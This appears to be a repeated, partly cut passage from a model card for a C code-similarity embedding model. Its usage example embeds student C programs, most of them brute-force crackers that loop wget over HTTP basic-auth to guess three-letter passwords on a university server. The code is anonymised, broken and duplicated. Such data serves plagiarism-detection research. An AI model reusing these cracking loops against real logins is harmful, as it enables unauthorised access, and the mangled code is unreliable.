%d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum 